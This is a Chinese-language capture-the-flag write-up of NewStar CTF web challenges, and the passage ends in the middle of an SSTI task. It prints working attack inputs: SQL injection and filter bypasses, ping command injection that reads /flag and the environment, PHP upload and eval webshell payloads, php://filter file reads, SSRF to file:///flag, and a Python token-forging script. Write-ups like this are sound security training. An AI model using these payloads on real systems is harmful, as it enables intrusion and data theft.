【CTF | 比赛篇】Newstar ctf web

文章目录

week1

multi-headach3

什么叫机器人控制了我的头?

【难度:简单】

dirsearch扫目录:

找到/robots.txt,访问:

访问hidden.php

翻译提示,f12打开捕获流量包,发现flag

txt 复制代码
flag{eb4580e7-21e4-4446-9dba-4fb51d9cf051}

strange_login

题目内容:

我当然知道1=1了!?

【难度:简单】

经典登录框,经典提示,万能密码admin' or 1=1 #

txt 复制代码
flag{26cbccab-3a76-46f9-a770-7e8cb0b10d96}

宇宙的中心是php

题目内容:

所有光线都逃不出去...但我知道这不会难倒你的

(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:简单】

访问题目:

发现只是一个页面,习惯性使用f12,发现打不开,Ctrl+u也不行,最后使用ctrl+shift+I打开,发现:

访问s3kret.php

php 复制代码
 <?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
    $answer = $_POST['newstar2025'];
    if(intval($answer)!=47&&intval($answer,0)==47){
        echo $flag;
    }else{
        echo "你还未参透奥秘";
    }
} 

审计后发现,要求POST输入newstar2025的值满足:

  • intval($answer) (默认按十进制或通过 (int) 强制转换)不是 47,且intval($answer, 0)(第二个参数为 0 时让 PHP 自动根据字符串前缀判断进制)等于 47。

输入0x2F即可满足:

txt 复制代码
flag{c0c8fc92-fd89-42e6-aa83-2b14c3e22bcf}

黑客小W的故事(1)

题目内容:

NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。

【难度:中等】

第一个挑战:

抓包发现:

修改count字段为1000000:

这里需要截取包然后修改发送,才能正常跳转:

第二关:

看不懂,看提示:

原来是需要get传参shipin,参数值为mogubaozi

能看懂了,这里post要传入的应该是前文提到过的guding

这里需要使用DELETE方法传入chongzi,截取改包:

成功:

访问/Level2_END,第三关:

HTTP协议有关:

根据提示,修改ua头:

还需要升级版本。

访问/Level4_Sly

txt 复制代码
flag{9fef7934-2c71-4225-813d-849df714c8fa}

我真得控制你了

题目内容:

小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈

【难度:中等】

审计js代码:

javascript 复制代码
  // 检查保护层状态
        function checkShieldStatus() {
            const shield = document.getElementById('shieldOverlay');
            const button = document.getElementById('accessButton');
            
            if (!shield) {
                button.classList.add('active');
                button.disabled = false;
            } else {
                button.classList.remove('active');
                button.disabled = true;
            }
        }
        

        checkShieldStatus();
        

        setInterval(checkShieldStatus, 500);
        

        document.getElementById('accessButton').addEventListener('click', function() {
            if (!document.getElementById('shieldOverlay')) {
                document.getElementById('nextLevelForm').submit();
            }
        });
        

        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
        });
        

        (function() {

            document.addEventListener('keydown', function(e) {
                // F12
                if (e.keyCode === 123) {
                    e.preventDefault();
                    showDevToolsWarning();
                }
                // Ctrl+Shift+I (Windows/Linux)
                if (e.ctrlKey && e.shiftKey && e.keyCode === 73) {
                    e.preventDefault();
                    showDevToolsWarning();
                }
                // Ctrl+Shift+J (Windows/Linux)
                if (e.ctrlKey && e.shiftKey && e.keyCode === 74) {
                    e.preventDefault();
                    showDevToolsWarning();
                }
                // Cmd+Option+I (Mac)
                if (e.metaKey && e.altKey && e.keyCode === 73) {
                    e.preventDefault();
                    showDevToolsWarning();
                }
                // Cmd+Option+J (Mac)
                if (e.metaKey && e.altKey && e.keyCode === 74) {
                    e.preventDefault();
                    showDevToolsWarning();
                }
                // Ctrl+U (查看源代码)
                if (e.ctrlKey && e.keyCode === 85) {
                    e.preventDefault();
                    showDevToolsWarning();
                }
            });
            

            let devtools = false;
            const threshold = 160;
            
            function checkDevTools() {
                const widthThreshold = window.outerWidth - window.innerWidth > threshold;
                const heightThreshold = window.outerHeight - window.innerHeight > threshold;
                const orientation = widthThreshold ? 'vertical' : 'horizontal';
                
                if (!(heightThreshold && widthThreshold) && 
                    ((window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) || 
                     widthThreshold || heightThreshold)) {
                    devtools = true;
                    showDevToolsWarning();
                } else {
                    devtools = false;
                }
            }
            

            setInterval(checkDevTools, 1000);
            

            function showDevToolsWarning() {
                const warning = document.getElementById('devToolsWarning');
                warning.style.display = 'flex';
                

                document.addEventListener('keydown', function closeWarning(e) {
                    if (e.key === 'Escape') {
                        warning.style.display = 'none';
                        document.removeEventListener('keydown', closeWarning);
                    }
                });
            }
            

            if (typeof console !== "undefined") {
                if (typeof console.log !== 'undefined') {
                    console.log = function() {};
                }
                if (typeof console.warn !== 'undefined') {
                    console.warn = function() {};
                }
                if (typeof console.error !== 'undefined') {
                    console.error = function() {};
                }
                if (typeof console.info !== 'undefined') {
                    console.info = function() {};
                }
            }
        })();

为了绕过JS限制,我们在浏览器Console里运行:

javascript 复制代码
document.getElementById('nextLevelForm').submit();

这会绕过所有按钮/遮罩限制,直接提交表单

成功绕过,来到下一关,这一关提示弱口令,尝试了几个弱口令成功登入:admin/111111

php 复制代码
<?php
error_reporting(0);

function generate_dynamic_flag($secret) {
    return getenv("ICQ_FLAG") ?: 'default_flag';
}


if (isset($_GET['newstar'])) {
    $input = $_GET['newstar'];
    
    if (is_array($input)) {
        die("恭喜掌握新姿势");
    }
    

    if (preg_match('/[^\d*\/~()\s]/', $input)) {
        die("老套路了,行不行啊");
    }
    

    if (preg_match('/^[\d\s]+$/', $input)) {
        die("请输入有效的表达式");
    }
    
    $test = 0;
    try {
        @eval("\$test = $input;");
    } catch (Error $e) {
        die("表达式错误");
    }
    
    if ($test == 2025) {
        $flag = generate_dynamic_flag($flag_secret);
        echo "<div class='success'>拿下flag!</div>";
        echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
    } else {
        echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
    }
} else {
    ?>
<?php } ?>

审计php代码:

  • 允许的字符只有:0-9, *, /, ~, (, ), 空白。
    (由 preg_match('/[^\d*\/~()\s]/', $input) 限定)
  • 禁止 纯数字/空白(/^[\d\s]+$/ 会拒绝),所以必须包含至少一个运算符(*/~())。
  • 最终执行:@eval("\$test = $input;");,判断 $test == 2025
  • flag 来源是环境变量 ICQ_FLAG(否则返回 default_flag)。

因为 45 ∗ 45 = 2025 45*45=2025 45∗45=2025,且*属于允许字符,所以payload为:newstar=45*45

GET传参即可:

txt 复制代码
flag{c6582a80-afdd-4ef9-8088-a15455bc30cf}

别笑,你也过不了第二关

题目内容:

不是哥们,说白了你有啥实力啊,

过关不是简简单单

【难度:简单】

前端记分:

javascript 复制代码
   const game = document.getElementById("game");
    const player = document.getElementById("player");
    const scoreEl = document.getElementById("score");
    const levelEl = document.getElementById("level");

    let score = 0;
    let steps = 0;
    let maxSteps = 10; // 每关掉落数量
    let targetScores = [30, 1000000]; // 每关目标分数
    let currentLevel = 0; // 0 表示第一关
    let gameEnded = false;
    let finishSpawned = false;
    let playerX = 180;
    let gateInterval = null;

    document.addEventListener("keydown", (e) => {
      if (e.key === "ArrowLeft") movePlayer(-100);
      if (e.key === "ArrowRight") movePlayer(100);
    });

    function movePlayer(offset) {
      let newX = playerX + offset;
      if (newX < 0 || newX > 340) return;
      playerX = newX;
      player.style.left = playerX + "px";
    }

    function spawnGate() {
      if (steps >= maxSteps || gameEnded || finishSpawned) return;
      steps++;
      const gate = document.createElement("div");
      gate.className = "gate";

      let x = Math.random() < 0.5 ? 60 : 260;
      gate.style.left = x + "px";

      let isAdd = Math.random() < 0.5;
      if (isAdd) {
        gate.dataset.value = 10;
        gate.style.backgroundImage = "url('2.jpg')";
      } else {
        gate.dataset.value = -10;
        gate.style.backgroundImage = "url('1.jpg')";
      }

      game.appendChild(gate);

      let y = 0;
      const fall = setInterval(() => {
        y += 5;
        gate.style.top = y + "px";

        const playerRect = player.getBoundingClientRect();
        const gateRect = gate.getBoundingClientRect();

        if (!(playerRect.right < gateRect.left ||
              playerRect.left > gateRect.right ||
              playerRect.bottom < gateRect.top ||
              playerRect.top > gateRect.bottom)) {
          score += parseInt(gate.dataset.value);
          scoreEl.innerText = "分数: " + score;
          clearInterval(fall);
          gate.remove();

          if (steps >= maxSteps && !finishSpawned) spawnFinishLine();
        }

        if (y > 600) {
          clearInterval(fall);
          gate.remove();
          if (steps >= maxSteps && !finishSpawned) spawnFinishLine();
        }
      }, 50);
    }

    function spawnFinishLine() {
      finishSpawned = true;
      const finish = document.createElement("div");
      finish.className = "finish-line";
      finish.style.left = "0px";
      game.appendChild(finish);

      let y = 0;
      const fall = setInterval(() => {
        y += 5;
        finish.style.top = y + "px";

        const playerRect = player.getBoundingClientRect();
        const finishRect = finish.getBoundingClientRect();

        if (!(playerRect.right < finishRect.left ||
              playerRect.left > finishRect.right ||
              playerRect.bottom < finishRect.top ||
              playerRect.top > finishRect.bottom)) {
          clearInterval(fall);
          finish.remove();
          endLevel();
        }

        if (y > 600) {
          clearInterval(fall);
          finish.remove();
          endLevel();
        }
      }, 50);
    }

    function endLevel() {
  if (gameEnded) return;

  clearInterval(gateInterval);
  gateInterval = null;

  if (score >= targetScores[currentLevel]) {
    alert(`恭喜通过第 ${currentLevel + 1} 关!得分: ${score}`);
    currentLevel++;
    if (currentLevel < targetScores.length) {
      // 下一关
      resetLevel(currentLevel);
      startGame();
    } else {
      // 全部通关
      gameEnded = true;
      const formData = new URLSearchParams();
formData.append("score", score);

      fetch("/flag.php", {
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: formData.toString()
})
.then(res => res.text())
.then(data => {
  alert("服务器返回:\n" + data);
})
.catch(err => {
  alert("请求失败: " + err);
});
    }
  } else {
    alert(`第 ${currentLevel + 1} 关未达成目标分数 (目标: ${targetScores[currentLevel]}),将重新开始本关!`);
    resetLevel(currentLevel);
    startGame();
  }
}


    function resetLevel(levelIndex) {
      score = 0;
      scoreEl.innerText = "分数: " + score;
      steps = 0;
      finishSpawned = false;
      levelEl.innerText = "关卡: " + (levelIndex + 1);
      [...game.querySelectorAll('.gate, .finish-line')].forEach(e => e.remove());
    }

    function startGame() {
      gateInterval = setInterval(spawnGate, 1500);
    }
    startGame();
    document.addEventListener("visibilitychange", () => {
      if (document.hidden) {
        if (gateInterval) {
          clearInterval(gateInterval);
          gateInterval = null;
        }
      } else {
        if (!gameEnded && !gateInterval) {
          gateInterval = setInterval(spawnGate, 1500);
        }
      }
    });

审计js代码发现,可以在控制台直接作弊:

javascript 复制代码
score = 1000000;  // 直接满足目标分数
endLevel();        // 触发关卡结束逻辑
txt 复制代码
flag{8a6f2ab9-9b7e-4274-90bf-efbe94277b14}

week2

DD加速器

题目内容:

D师傅在服务器上部署了一个加速器,并且提供一个页面来ping游戏服务器...

【难度:简单】

ping的命令执行,使用;拼接:

127.0.0.1; ls

127.0.0.1; cat /flag

瞅瞅环境变量:127.0.0.1; env

txt 复制代码
flag{9cacf6f4-5cc9-4cef-99a8-97c51b2953be}

搞点哦润吉吃吃橘

题目内容:

Doro把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题...

【难度:简单】

开局一个登录框,尝试弱口令无果,ctrl+u查看源代码,发现提示:

html 复制代码
<!-- 唔...这个密码有点难记,但是我已经记好了 Doro/Doro_nJlPVs_@123 -->

根据提示,抓包查看后端逻辑:

根据验证流程写exp:

python 复制代码
#!/usr/bin/env python3
# coding: utf-8

import requests
import re
import time
import sys

BASE = "https://eci-2ze6zyo0m8laq9swg77e.cloudeci1.ichunqiu.com:5000"

# 登录表单(你提供的)
LOGIN_PATH = "/login"
START_PATH = "/start_challenge"
VERIFY_PATH = "/verify_token"

USERNAME = "Doro"
PASSWORD = "Doro_nJlPVs_%40123"  # 注意:这是示例,生产环境请妥善保管凭据

def login(session: requests.Session) -> bool:
    url = BASE + LOGIN_PATH

    session.headers.update({
        "Origin": BASE,
        "Referer": BASE + "/login",
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-User": "?1",
        "Sec-Fetch-Dest": "document",
    })

    data = f"username={USERNAME}&password={PASSWORD}"
    resp = session.post(url, data=data, allow_redirects=False)

    print("[login] status:", resp.status_code)
    print("[login] headers:", resp.headers)

    if "Set-Cookie" in resp.headers and "session=" in resp.headers["Set-Cookie"] and "Expires=Thu, 01 Jan 1970" not in resp.headers["Set-Cookie"]:
        print("[login] 登录成功 ->", resp.headers["Set-Cookie"])
        return True

    print("[login] 登录失败,响应内容:", resp.text[:300])
    return False


def fetch_challenge(session: requests.Session):
    url = BASE + START_PATH
    resp = session.post(url)
    print("[start_challenge] status:", resp.status_code)
    try:
        data = resp.json()
    except Exception as e:
        print("[start_challenge] 无法解析为 JSON:", e)
        print("Response body:", resp.text[:500])
        return None
    return data

def parse_and_compute_token(data: dict):
    # 优先使用单独字段(如果存在)
    if "multiplier" in data or "xor_value" in data:
        try:
            multiplier = int(data.get("multiplier")) if data.get("multiplier") is not None else None
        except Exception:
            multiplier = None
        xor_raw = data.get("xor_value")
        xor_value = None
        if xor_raw is not None:
            try:
                if isinstance(xor_raw, str) and xor_raw.lower().startswith("0x"):
                    xor_value = int(xor_raw, 16)
                else:
                    xor_value = int(xor_raw)
            except:
                xor_value = None
        # 如果 expression 字段存在且包含 time.time() 的指示,优先使用实时 time
        expr = data.get("expression", "")
        if "time.time" in expr or "int(time.time" in expr:
            tsource = int(time.time())
        else:
            # 没有 time.time 的话,尝试从 expression 中提取第一个数字(作为左侧时间戳)
            m = None
            if expr:
                m = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)
            if m:
                tsource = int(m.group(1))
            else:
                # 如果没有 expression 且没有明确时间源,使用当前时间(较保险)
                tsource = int(time.time())

        if multiplier is None:
            # 若 multiplier 字段不存在,尝试从 expression 中提取
            expr = data.get("expression", "")
            m2 = re.search(r'\*\s*(\d+)\s*\)', expr)
            if m2:
                multiplier = int(m2.group(1))
        if multiplier is None or xor_value is None:
            raise ValueError("无法从响应中解析 multiplier 或 xor_value。data: {}".format(data))

        token = (tsource * multiplier) ^ xor_value
        return token, {"tsource": tsource, "multiplier": multiplier, "xor_value": xor_value, "method": "fields_or_expr"}

    # 如果没有单独字段,尝试从 expression 字段解析
    expr = data.get("expression")
    if not expr:
        raise ValueError("响应既没有 'expression',也没有 'multiplier' / 'xor_value' 字段。data: {}".format(data))

    # 判断 expression 是否包含 int(time.time())
    if "time.time" in expr:
        tsource = int(time.time())
    else:
        # 尝试提取表达式中的左侧数字(形如 (1759715000 * 53475) )
        m_time = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)
        if m_time:
            tsource = int(m_time.group(1))
        else:
            # 兜底使用当前时间
            tsource = int(time.time())

    # 提取 multiplier
    m_mul = re.search(r'\*\s*(\d+)\s*\)', expr)
    if not m_mul:
        raise ValueError("无法从 expression 提取 multiplier。expr: {}".format(expr))
    multiplier = int(m_mul.group(1))

    # 提取 xor 值(支持 0xHEX 或 十进制)
    m_xor = re.search(r'\^\s*(0x[0-9a-fA-F]+|\d+)', expr)
    if not m_xor:
        raise ValueError("无法从 expression 提取 xor_value。expr: {}".format(expr))
    xor_raw = m_xor.group(1)
    xor_value = int(xor_raw, 16) if xor_raw.lower().startswith("0x") else int(xor_raw)

    token = (tsource * multiplier) ^ xor_value
    return token, {"tsource": tsource, "multiplier": multiplier, "xor_value": xor_value, "method": "expr"}

def submit_token(session: requests.Session, token):
    url = BASE + VERIFY_PATH
    payload = {"token": token}
    # 显式声明本次请求为 JSON,覆盖全局 Content-Type
    resp = session.post(url, json=payload, headers={"Content-Type": "application/json"})
    print("[verify_token] status:", resp.status_code)
    try:
        print("[verify_token] json:", resp.json())
    except Exception:
        print("[verify_token] text:", resp.text[:1000])
    return resp


def main():
    s = requests.Session()
    s.headers.update({
        "User-Agent": "auto-token-bot/1.0",
        "Accept": "*/*",
    })

    ok = login(s)
    if not ok:
        print("登录失败,停止。请检查用户名/密码或网络。")
        return

    data = fetch_challenge(s)
    if data is None:
        print("无法获取挑战数据,停止。")
        return

    print("challenge data:", data)

    try:
        token, info = parse_and_compute_token(data)
    except Exception as e:
        print("解析/计算 token 失败:", e)
        return

    print("计算得到 token =", token, "(详情:", info, ")")

    # 立即提交
    resp = submit_token(s, token)

if __name__ == "__main__":
    main()
txt 复制代码
flag{c596b46c-3c82-4416-9e70-538104015062}

白帽小K的故事(1)

题目内容:

小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!

【难度:困难】

文件上传漏洞,前端校验,抓包修改后缀名

通过/v1/onload接口获取上传路径

确定上传成功,但是不知道为何无法利用,没办法,只能上传执行phpinfo()试试:

成功解析:

复制为html文件:

txt 复制代码
flag{741a9681-2e6c-4486-b767-557e907c8863} 

小E的管理系统

题目内容:

小E开发了一个服务器管理系统,能实时监测服务器状态并显示出来。为了防止系统被入侵,小E特地给其中的查询功能上了防火墙,但是即便如此,这个系统依然脆弱不堪,只因为使用了原始的SQL拼接------你能绕过小E的防火墙,拿到数据库里的秘密吗?

【难度:困难】

本题考查sql注入过滤与报错注入:

防火墙过滤了空格,单引号,幸运的是其为数字型的报错注入:

使用%0a绕过空格

发现没有databases()函数,猜测可能不是mysql数据库,经过探测,确定是sqllite

这里是因为查询列数与显示不一样,所以报错,接下来探测列数:

确定是5列,构造:

sql 复制代码
-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (SELECT 2) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E

替换空格:

sql 复制代码
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

查询数据库版本号:

sql 复制代码
-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (SELECT sqlite_version()) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E
sql 复制代码
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asqlite_version())%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

查看表名和字段名:

sql 复制代码
sql from sqlite_master
sql 复制代码
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asql%0afrom%0asqlite_master)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

发现有一个sys_config表,表内的字段为:id,config_key,config_value

使用

sql 复制代码
select * from user_data

因为这里,ban了,*的话无法输出,只能挨个查询具体的值,最后使用:

sql 复制代码
-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (select config_value from sys_config) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E
# 编码后
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(select%0aconfig_value%0afrom%0asys_config)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
txt 复制代码
flag{1148f076-61cb-457a-818f-d910ef21b142}

真的是签到诶

题目内容:

到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?

【难度:签到】

访问拿到:

php 复制代码
<?php
highlight_file(__FILE__);

$cipher = $_POST['cipher'] ?? '';

function atbash($text) {
  $result = '';
  foreach (str_split($text) as $char) {
    if (ctype_alpha($char)) {
      $is_upper = ctype_upper($char);
      $base = $is_upper ? ord('A') : ord('a');
      $offset = ord(strtolower($char)) - ord('a');
      $new_char = chr($base + (25 - $offset));
      $result .= $new_char;
    } else {
      $result .= $char;
    }
  }
  return $result;
}

if ($cipher) {
  $cipher = base64_decode($cipher);
  $encoded = atbash($cipher);
  $encoded = str_replace(' ', '', $encoded);
  $encoded = str_rot13($encoded);
  @eval($encoded);
  exit;
}

$question = "真的是签到吗?";
$answer = "真的很签到诶!";

$res =  $question . "<br>" . $answer . "<br>";
echo $res . $res . $res . $res . $res;

?> 真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!

审计后发现,这是一个webshell解码执行的题目,经过 Base64 → Atbash → 去空格 → ROT13 的代码,服务器最终会执行 (eval) 解码后的内容,所以构造我们的payload

shell 复制代码
cat /flag
scss 复制代码
cipher (Base64 输入)
↓ base64_decode
↓ Atbash (字母翻转)
↓ 去掉空格
↓ str_rot13
↓ eval()
txt 复制代码
dW91dGlhKCJrbXRcMDQwL2hibWciKTs=
txt 复制代码
flag{8b3bf25f-b724-4f06-9197-ba25bd749249}

week3

ez-chain

题目内容:

铁索连环!无懈可击...?

【难度:简单】

php 复制代码
<?php
header('Content-Type: text/html; charset=utf-8');
function filter($file) {
    $waf = array('/',':','php','base64','data','zip','rar','filter','flag');
    foreach ($waf as $waf_word) {
        if (stripos($file, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    return true;
}

function filter_output($data) {
    $waf = array('f');
    foreach ($waf as $waf_word) {
        if (stripos($data, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    while (true) {
        $decoded = base64_decode($data, true);
        if ($decoded === false || $decoded === $data) {
            break;
        }
        $data = $decoded;
    }
    foreach ($waf as $waf_word) {
        if (stripos($data, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    return true;
}

if (isset($_GET['file'])) {
    $file = $_GET['file'];
    if (filter($file) !== true) {
        die();
    }
    $file = urldecode($file);
    $data = file_get_contents($file);
    if (filter_output($data) !== true) {
        die();
    }
    echo $data;
}
highlight_file(__FILE__);

?>

审计发现,漏洞点在file_get_contents,可以使用伪协议进行任意文件读取,但是waf限制了部分伪协议,并且要求读到的文件内容中不能带有f字样.

分析程序逻辑,首先读入file参数值:

php 复制代码
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    if (filter($file) !== true) {
        die();
    }
    $file = urldecode($file);
    $data = file_get_contents($file);
    if (filter_output($data) !== true) {
        die();
    }
    echo $data;
}

首先进入filter函数中:

php 复制代码
function filter($file) {
    $waf = array('/',':','php','base64','data','zip','rar','filter','flag');
    foreach ($waf as $waf_word) {
        if (stripos($file, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    return true;
}

这里会不分大小写,匹配这些字符,如果匹配,程序退出,绕过这里,只需要url双重编码即可.

接下来经过一次url解码,执行file_get_contents()后,进入filter_output()

php 复制代码
function filter_output($data) {
    $waf = array('f');
    foreach ($waf as $waf_word) {
        if (stripos($data, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    while (true) {
        $decoded = base64_decode($data, true);
        if ($decoded === false || $decoded === $data) {
            break;
        }
        $data = $decoded;
    }
    foreach ($waf as $waf_word) {
        if (stripos($data, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    return true;
}

它会对读取文件的内容进行判断,匹配是否存在f,也不区分大小写.然后,如果是被base64编码过的内容,就会循环解码,直到不能解码为止.

所以我们的思路很明确,利用url双重编码使用php://filter伪协议读取文件内容,然后对文件内容先进行rot13编码读取flag.

payload:

txt 复制代码
php://filter/string.rot13/resource=/flag
url 复制代码
https://eci-2zeblwpcf451usd1p6ji.cloudeci1.ichunqiu.com:80/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37


txt 复制代码
flag{8847b675-528e-4ee8-aab6-ff3a854b53bc}

mygo!!!

题目内容:

mygo的音乐好好听,要全部下下来,flag也可以顺手(

【难度:简单】

访问题目,点了首歌,听起来不错,源码中发现异常:

原来是ssrf,但是限制http协议,

扫描目录发现有flag.php,但是直接访问是403.

所以使用ssrf访问:

php 复制代码
<?php
$client_ip = $_SERVER['REMOTE_ADDR'];

// 只允许本地访问
if ($client_ip !== '127.0.0.1' && $client_ip !== '::1') {
    header('HTTP/1.1 403 Forbidden');
    echo "你是外地人,我只要\"本地\"人";
    exit;
}

highlight_file(__FILE__);
if (isset($_GET['soyorin'])) {
    $url = $_GET['soyorin'];

    echo "flag在根目录";
    // 普通请求
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); // 直接输出给浏览器
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192);
    curl_exec($ch);
    curl_close($ch);
    exit;
}

?>

审计一下,发现可以利用前面可转发的ssrf来绕过本地访问,剩下的伪协议直接出:

url 复制代码
https://eci-2ze30n5xe2nckmepbw6d.cloudeci1.ichunqiu.com:80/index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag
txt 复制代码
flag{a8fe31b5-aad7-4dc1-9bda-3e21daff103f}

小E的秘密计划

题目内容:

小E最近在秘密研发一个代号为"Project X"的系统。然而,小E在开发和部署过程中,习惯性地留下了许多"不经意"的痕迹------无论是临时的备份,还是版本管理上的小疏忽,甚至是Mac系统自动生成的文件,都可能成为你解开"Project X"秘密的关键...

【难度:简单】

静态页面,没啥好看的,直接开扫:

发现存在系统备份文件,访问下载:

可以直接访问public,进入到登录页面,已经提醒无法爆破,只能另寻他法.

进入到public目录下,发现存在.git文件夹,想到可能是考的git泄露.

bash 复制代码
git log

查看提交记录:

使用

bash 复制代码
git show --name-only commit

看到删除的提示:

bash 复制代码
git show -p

查看删除的文件内容:

好像没有,返回来审计login.php,发现

php 复制代码
<?php
require_once 'user.php';
$userData = getUserData();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';

    if ($username === $userData['username'] && $password === $userData['password']) {
        header('Location: /secret-xxxxxxxxxxxxxxxxxxx');
        exit();
    } else {
        echo '登录失败,在git里找找吧';
        exit();
    }
}

账号密码都在user.php中,所以需要从git中恢复user.php.

.git/logs/HEAD文件中发现其中隐含一个测试的brach,会被删除.

查看这个提交:

bash 复制代码
git ls-tree -r --name-only 353b98f7c2fe77a5a426bf73576f5113820c4669

使用git show commit -b查看文件内容

用户名密码为:admin/f75cc3eb-21e0-4713-9c30-998a8edb13de

进入之后提示mac,所以是.DS_Store文件泄露,直接在当前路径拼接下载并查看内容:

拼接中间的ffffllllaaaagggg114514,拿到flag

txt 复制代码
flag{e08813e1-a595-464c-85c5-67b474f83601}

mirror_gate

题目内容:

小M是一名安全爱好者,他为自己搭建了一个个人文件上传服务。他声称:"我的服务器只允许上传合法且安全的文件,其他任何类型的文件都会被无情地拒绝!"

然而,真的是这样吗?请设法找出他系统中的应用配置缺陷,突破上传限制。

【难度:中等】

文件上传,并且支持上传的类型为:

后端进行类型及文件内容的校验,所以只能看允许的文件内有没有可以解析的,先绕过内容检测:

php 复制代码
<?
phpinfo();
?>

<?php有过滤,将允许的文件后缀挨个改包然后访问查看响应结果,发现.webp可以被解析

txt 复制代码
flag{fd8af3ec-7983-4724-ad82-e3f84149346f}

who'ssti

题目内容:

写代码的时候调试忘记删了!?算了不管了!S 属性大爆发!快来和我一起 SSTI 吧!

【难度:中等】

python 复制代码
from flask import Flask, jsonify, request, render_template_string, render_template
import sys, random

func_List = ["get_close_matches", "dedent", "fmean", 
             "listdir", "search", "randint", "load", "sum", 
             "findall", "mean", "choice"]
need_List = random.sample(func_List, 5)
need_List = dict.fromkeys(need_List, 0)
BoleanFlag = False
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
# 清除 ICQ_FLAG
__import__("os").environ["ICQ_FLAG"] = ""

def trace_calls(frame, event, arg):
  if event == 'call':
    func_name = frame.f_code.co_name
    # print(func_name)
    if func_name in need_List:
      need_List[func_name] = 1
    if all(need_List.values()):
      global BoleanFlag
      BoleanFlag = True
  return trace_calls


app = Flask(__name__)
@app.route('/', methods=["GET", "POST"])
def index():
  submit = request.form.get('submit')
  if submit:
    sys.settrace(trace_calls)
    print(render_template_string(submit))
    sys.settrace(None)
    if BoleanFlag:
